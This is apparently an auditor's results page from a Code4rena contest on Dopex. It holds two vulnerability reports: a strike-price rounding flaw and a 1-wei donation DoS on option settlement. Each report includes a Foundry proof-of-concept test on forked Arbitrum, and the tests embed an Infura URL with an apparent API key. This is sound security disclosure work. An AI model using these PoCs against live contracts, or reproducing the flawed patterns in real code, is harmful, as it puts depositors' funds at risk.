Dopex - visualbits's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 86/189

Findings: 2

Award: $96.34

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

96.3292 USDC - $96.33

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
duplicate-2083

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L576-L583 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L255-L312 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1156-L1199

Vulnerability details

Strike prices rounded by roundUp function in PerpetualAtlanticVault contract:

function roundUp(uint256 _strike) public view returns (uint256 strike) {
    uint256 remainder = _strike % roundingPrecision;
    if (remainder == 0) {
      return _strike;
    } else {
      return _strike - remainder + roundingPrecision;
    }
  }

roundingPrecision value regardless to constant is 1e6:

/// @dev the precision to round up to
uint256 public roundingPrecision = 1e6;

But considering that the precision of oracle is 1e8, 1e6 is not a accurate precision for rounding up values especially for values lower than 1e6. Example: roundUp(1e5) = 1e6 (10x)

Impact

  • Put option strike price sets higher than the current price and options pool liquidity can be drained after option expiry because the option instantly is in ITM with high PnL.
  • Invalid premium calculation

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test, console } from "forge-std/Test.sol";

// Import core contracts
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";
import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol";

// Import mock contracts
import { MockToken } from "contracts/mocks/MockToken.sol";
import { MockRdpxEthPriceOracle } from "contracts/mocks/MockRdpxEthPriceOracle.sol";
import { MockVolatilityOracle } from "contracts/mocks/MockVolatilityOracle.sol";
import { MockOptionPricing } from "contracts/mocks/MockOptionPricing.sol";
import { MockStakingStrategy } from "contracts/mocks/MockStakingStrategy.sol";

// Import UniswapV2 interfaces
import { IUniswapV2Factory } from "contracts/uniswap_V2/IUniswapV2Factory.sol";
import { IUniswapV2Pair } from "contracts/uniswap_V2/IUniswapV2Pair.sol";
import { IUniswapV2Router } from "contracts/uniswap_V2/IUniswapV2Router.sol";


contract POC is Test{
  MockToken public weth;
  MockToken public rdpx;
  MockStakingStrategy public staking;
  MockVolatilityOracle public volOracle;
  MockOptionPricing public optionPricing;
  MockRdpxEthPriceOracle public priceOracle;
  PerpetualAtlanticVault public vault;
  IUniswapV2Factory public uniswapV2Factory;
  IUniswapV2Router public router;
  IUniswapV2Pair public ammPair;
  PerpetualAtlanticVaultLP public vaultLp;

  string internal constant ARBITRUM_RPC_URL =
    "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685";
  uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13

  function setUp() public {
    uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM);
    vm.selectFork(forkId);

    weth = new MockToken("Wrapped ETH", "WETH");
    staking = new MockStakingStrategy();
    volOracle = new MockVolatilityOracle();
    optionPricing = new MockOptionPricing();
    priceOracle = new MockRdpxEthPriceOracle();
    rdpx = new MockToken("Rebate Token", "rDPX");
    uniswapV2Factory = IUniswapV2Factory(
      0xc35DADB65012eC5796536bD9864eD8773aBc74C4
    );
    vault = new PerpetualAtlanticVault(
      "RDPX Vault",
      "PAV",
      address(weth),
      (block.timestamp + 86400)
    );
    router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
    vaultLp = new PerpetualAtlanticVaultLP(
      address(vault),
      address(100),
      address(weth),
      address(rdpx),
      "WETH"
    );

    vault.setAddresses(
      address(optionPricing),
      address(priceOracle),
      address(volOracle),
      address(1),
      address(rdpx),
      address(vaultLp),
      address(this)
    );

    vault.grantRole(vault.RDPXV2CORE_ROLE(), address(this));

    rdpx.mint(address(this), 2000 * 1e18);
    weth.mint(address(this), 200 * 1e18);
    weth.mint(address(this), 3000 * 1e18);
    address _pair = uniswapV2Factory.createPair(address(rdpx), address(weth));

    ammPair = IUniswapV2Pair(_pair);

    rdpx.approve(address(router), type(uint256).max);
    weth.approve(address(router), type(uint256).max);

    weth.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vault), type(uint256).max);

    weth.approve(address(vaultLp), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);

    router.addLiquidity(
      address(rdpx),
      address(weth),
      1000 * 1e18,
      200 * 1e18,
      100 * 1e18,
      200 * 1e18,
      msg.sender,
      block.timestamp + 300
    );

    vault.addToContractWhitelist(address(this));

    vault.updateFundingDuration(86400);
    priceOracle.updateRdpxPrice(0.02 gwei); // 1 rdpx = 0.2 WETH
  }

  function testPurchaseWithoutRevert() external {
    priceOracle.updateRdpxPrice(8e5);
    
    // Test addresses
    address depositor = makeAddr("depositor");

    // Fund depositor
    weth.mint(depositor, 100 ether);

    // Deposit liquidity to PerpetualAtlanticVaultLP
    vm.startPrank(depositor, depositor);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vaultLp.deposit(100 ether, depositor);
    vm.stopPrank();

    (, uint256 tokenID) = vault.purchase(20 ether, address(this));
    (uint256 strike , ,) =  vault.optionPositions(tokenID);

    // strike price shoud be less than or equal to 75% current price
    assertLe(strike, (8e5 - (8e5 / 4)));
  }
}

Tools Used

Foundry

Assessed type

Math

#0 - c4-pre-sort

2023-09-08T06:28:41Z

bytes032 marked the issue as duplicate of #980

#1 - c4-pre-sort

2023-09-11T08:22:29Z

bytes032 marked the issue as not a duplicate

#2 - bytes032

2023-09-13T05:45:06Z

Might be somehow related to #2083

#3 - c4-pre-sort

2023-09-14T06:00:49Z

bytes032 marked the issue as sufficient quality report

#4 - c4-pre-sort

2023-09-14T06:00:55Z

bytes032 marked the issue as remove high or low quality report

#5 - c4-pre-sort

2023-09-14T06:01:03Z

bytes032 marked the issue as sufficient quality report

#6 - c4-pre-sort

2023-09-14T06:54:04Z

bytes032 marked the issue as duplicate of #2083

#7 - c4-judge

2023-10-20T14:11:25Z

GalloDaSballo marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

RdpxV2Core settle options in PerpetualAtlanticVault and lost eth amount transfer to RdpxV2Core contract then subtract loss amount in PerpetualAtlanticVaultLP:

function settle(
    uint256[] memory optionIds
  )
    external
    nonReentrant
    onlyRole(RDPXV2CORE_ROLE)
    returns (uint256 ethAmount, uint256 rdpxAmount)
  {
    // ...

    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
      ethAmount
    );

    // ...
  }

In subtractLoss function check collateral balance with new _totalCollateral but used == instead of >= and if arbitary address send even 1 wei collateral to this contract before settle, DoS happend and transaction reverted.

function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
}

Impact

Options can not settled and profit will be stuck.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test, console } from "forge-std/Test.sol";

// Import core contracts
import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol";
import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol";

// Import mock contracts
import { MockToken } from "contracts/mocks/MockToken.sol";
import { MockRdpxEthPriceOracle } from "contracts/mocks/MockRdpxEthPriceOracle.sol";
import { MockVolatilityOracle } from "contracts/mocks/MockVolatilityOracle.sol";
import { MockOptionPricing } from "contracts/mocks/MockOptionPricing.sol";
import { MockStakingStrategy } from "contracts/mocks/MockStakingStrategy.sol";

// Import UniswapV2 interfaces
import { IUniswapV2Factory } from "contracts/uniswap_V2/IUniswapV2Factory.sol";
import { IUniswapV2Pair } from "contracts/uniswap_V2/IUniswapV2Pair.sol";
import { IUniswapV2Router } from "contracts/uniswap_V2/IUniswapV2Router.sol";


contract POC is Test{
  MockToken public weth;
  MockToken public rdpx;
  MockStakingStrategy public staking;
  MockVolatilityOracle public volOracle;
  MockOptionPricing public optionPricing;
  MockRdpxEthPriceOracle public priceOracle;
  PerpetualAtlanticVault public vault;
  IUniswapV2Factory public uniswapV2Factory;
  IUniswapV2Router public router;
  IUniswapV2Pair public ammPair;
  PerpetualAtlanticVaultLP public vaultLp;

  string internal constant ARBITRUM_RPC_URL =
    "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685";
  uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13

  function setUp() public {
    uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM);
    vm.selectFork(forkId);

    weth = new MockToken("Wrapped ETH", "WETH");
    staking = new MockStakingStrategy();
    volOracle = new MockVolatilityOracle();
    optionPricing = new MockOptionPricing();
    priceOracle = new MockRdpxEthPriceOracle();
    rdpx = new MockToken("Rebate Token", "rDPX");
    uniswapV2Factory = IUniswapV2Factory(
      0xc35DADB65012eC5796536bD9864eD8773aBc74C4
    );
    vault = new PerpetualAtlanticVault(
      "RDPX Vault",
      "PAV",
      address(weth),
      (block.timestamp + 86400)
    );
    router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
    vaultLp = new PerpetualAtlanticVaultLP(
      address(vault),
      address(100),
      address(weth),
      address(rdpx),
      "WETH"
    );

    vault.setAddresses(
      address(optionPricing),
      address(priceOracle),
      address(volOracle),
      address(1),
      address(rdpx),
      address(vaultLp),
      address(this)
    );

    vault.grantRole(vault.RDPXV2CORE_ROLE(), address(this));

    rdpx.mint(address(this), 2000 * 1e18);
    weth.mint(address(this), 200 * 1e18);
    weth.mint(address(this), 3000 * 1e18);
    address _pair = uniswapV2Factory.createPair(address(rdpx), address(weth));

    ammPair = IUniswapV2Pair(_pair);

    rdpx.approve(address(router), type(uint256).max);
    weth.approve(address(router), type(uint256).max);

    weth.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vault), type(uint256).max);

    weth.approve(address(vaultLp), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);

    router.addLiquidity(
      address(rdpx),
      address(weth),
      1000 * 1e18,
      200 * 1e18,
      100 * 1e18,
      200 * 1e18,
      msg.sender,
      block.timestamp + 300
    );

    vault.addToContractWhitelist(address(this));

    vault.updateFundingDuration(86400);
    priceOracle.updateRdpxPrice(0.02 gwei); // 1 rdpx = 0.2 WETH
  }

  function testSettleNotRevert() public {
    // Test addresses
    address depositor = makeAddr("depositor");

    // Fund depositor
    weth.mint(depositor, 1 ether);

    // Deposit liquidity to PerpetualAtlanticVaultLP
    vm.startPrank(depositor, depositor);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vaultLp.deposit(1 ether, depositor);
    vm.stopPrank();

    // Purchase put option from PerpetualAtlanticVault 
    vault.purchase(1 ether, address(this));

    uint256[] memory optionIds = new uint256[](1);
    optionIds[0] = 0;

    // ITM option
    priceOracle.updateRdpxPrice(0.010 gwei);

    // Before settle balances
    uint256 wethBalanceBefore = weth.balanceOf(address(this));
    uint256 rdpxBalanceBefore = rdpx.balanceOf(address(this));
    
    // Send 1 wei to PerpetualAtlanticVaultLP to break settle
    weth.mint(address(vaultLp), 1);

    vault.settle(optionIds);

    // After settle balances
    uint256 wethBalanceAfter = weth.balanceOf(address(this));
    uint256 rdpxBalanceAfter = rdpx.balanceOf(address(this));

    assertEq(wethBalanceAfter - wethBalanceBefore, 0.15 ether);
    assertEq(rdpxBalanceBefore - rdpxBalanceAfter, 1 ether);
  }
}

Tools Used

Foundry

Use >= instead of ==:

function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
      collateral.balanceOf(address(this)) >= _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
}

Assessed type

DoS

#0 - c4-pre-sort

2023-09-09T09:53:53Z

bytes032 marked the issue as duplicate of #619

#1 - c4-pre-sort

2023-09-11T16:14:17Z

bytes032 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-21T07:15:45Z

GalloDaSballo marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter